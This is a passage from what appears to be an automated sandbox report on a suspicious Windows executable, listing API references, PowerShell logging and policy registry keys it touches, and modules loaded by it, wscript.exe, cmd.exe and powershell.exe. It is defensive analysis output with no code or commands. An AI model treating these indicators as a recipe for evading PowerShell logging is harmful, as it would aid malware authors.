00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp")33:T42e,Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp")34:T14eb,"Software\Microsoft\Windows\CurrentVersion" in Source: 1544dbca0efc2c0105dd7d52a21a8891.exe "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 48459-202-013085B0 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 48459-202-013085B0 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 48459-182-01308190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 48459-184-0130BFA2 "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 48459-149-0130D560 "SOFTWARE\Microsoft\PowerShell" in Source: 48459-195-01308AF0 "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005716.00000000.176793.00CE0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005716.00000000.176793.050A0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005716.00000000.176793.07382000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006632.00000000.177536.00FB0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006632.00000000.177536.00FB0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006632.00000000.177536.01301000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006632.00000000.177536.01301000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006632.00000000.177536.01301000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006632.00000000.177536.01301000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006632.00000000.177536.01301000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006632.00000000.177536.01301000.00000020.mdmp35:Tcc1,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135]36:T4069,"1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76e00000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76e00000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76e00000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "KERNEL32" at base 74040000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73220000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73aa0000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\USERENV.DLL" at base 73170000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\SETUPAPI.DLL" at base 74110000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "NTDLL.DLL" at base 775d0000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73f40000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73540000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 731c0000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTBASE.DLL" at base 73fe0000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 73110000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\CLBCATQ.DLL" at base 76920000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\NTMARTA.DLL" at base 73450000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73d10000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 73100000 "1544dbca0efc2c0105dd7d52a21a8891.exe" loaded module "KERNEL32.DLL" at base 74040000 "wscript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76e00000 "wscript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76e00000 "wscript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76e00000 "wscript.exe" loaded module "KERNEL32" at base 74040000 "wscript.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73220000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73aa0000 "wscript.exe" loaded module "RPCRT4.DLL" at base 771b0000 "wscript.exe" loaded module "KERNEL32.DLL" at base 74040000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\VBSCRIPT.DLL" at base 72ff0000 "wscript.exe" loaded module "AMSI.DLL" at base 72fe0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73d10000 "wscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 72fa0000 "wscript.exe" loaded module "WLDP.DLL" at base 72f80000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 773a0000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 76fe0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72f50000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 72f40000 "wscript.exe" loaded module "OLE32.DLL" at base 74810000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 769b0000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 72f20000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\SCROBJ.DLL" at base 72ee0000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\WSHOM.OCX" at base 72eb0000 "wscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 72de0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 74040000 "wscript.exe" loaded module "USERENV.DLL" at base 73170000 "wscript.exe" loaded module "VERSION.DLL" at base 73d10000 "wscript.exe" loaded module "SHELL32.DLL" at base 75300000 "wscript.exe" loaded module "NTDLL.DLL" at base 775d0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73540000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 74d10000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72c40000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 75300000 "wscript.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74040000 "wscript.exe" loaded module "USER32.DLL" at base 77440000 "wscript.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 738e0000 "wscript.exe" loaded module "MSISO.DLL" at base 72be0000 "wscript.exe" loaded module "SSPICLI.DLL" at base 73ff0000 "wscript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 76e00000 "cmd.exe" loaded module "KERNEL32" at base 74040000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 76e00000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76e00000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 76e00000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 749a0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76e00000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76e00000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76e00000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73220000 "cmd.exe" loaded module "KERNEL32.DLL" at base 74040000 "cmd.exe" loaded module "NTDLL.DLL" at base 775d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76e00000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76e00000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76e00000 "powershell.exe" loaded module "KERNEL32" at base 74040000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73220000 "powershell.exe" loaded module "KERNEL32.DLL" at base 74040000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 773a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72e30000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 749d0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76ba0000 "powershell.exe" loaded module "VERSION.DLL" at base 73d10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72430000 "powershell.exe" loaded module "USER32.DLL" at base 77440000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76e00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 72ec0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76bb0000 "powershell.exe" loaded module "PSAPI.DLL" at base 775c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70500000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "RPCRT4.DLL" at base 771b0000 "powershell.exe" loaded module "OLE32.DLL" at base 74810000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76bb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 77110000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72f50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 77030000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76e00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 730c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6faa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6f280000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 76bb0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 76bb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 775d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 75300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 73190000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73d10000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 73170000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 73010000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 76fe0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 76fe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 769b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 71c00000 "powershell.exe" loaded module "CRYPT32.DLL" at base 769b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6ef20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 76bb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 72de0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 72cd0000 "powershell.exe" loaded module "SECUR32.DLL" at base 72fb0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 73ff0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 72f30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73aa0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 72c30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 74040000 "powershell.exe" loaded module "USERENV.DLL" at base 73090000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 773a0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 72fa0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 71be0000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74040000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 